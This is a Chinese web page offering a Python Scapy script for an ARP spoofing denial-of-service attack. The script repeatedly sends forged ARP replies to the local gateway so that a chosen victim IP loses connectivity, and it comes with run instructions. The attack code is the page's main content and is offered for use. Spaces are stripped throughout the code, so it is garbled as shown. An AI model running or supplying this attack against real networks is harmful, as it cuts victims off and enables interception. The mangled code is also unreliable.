python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8 #example:sudo pythonarp_dos.py 192.168.1.103
fromscapy.allimportARP,send importos,re,sys
defget_gateway_ip(): t=os.popen('route-n') foriint: ifi.startswith('0.0.0.0'): r=re.split("\s+",i) returnr[1]
defget_gateway_hw(ip): t=os.popen('arp-e%s'%ip) foriint: ifi.startswith(ip): r=re.split("\s+",i) returnr[2] defhack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfigeth0%s'%hackip) while1: send(arp)
defhelp(): print("USEAGE:sudopythonarp_dos.py192.168.1.100")
defmain(): iflen(sys.argv)!=2: help() else: hack(sys.argv[1]) if__name__=="__main__": main()
热门推荐
10 对患者生日祝福语简短
11 结婚祝福语简短装备
12 周岁祝福语学生文案简短
13 订婚领证祝福语简短精辟
14 导师获奖祝福语大全简短
15 新婚购房祝福语简短精辟
16 牛年祝福语简短的爱人
17 送芒果的祝福语简短
18 送给学长毕业祝福语简短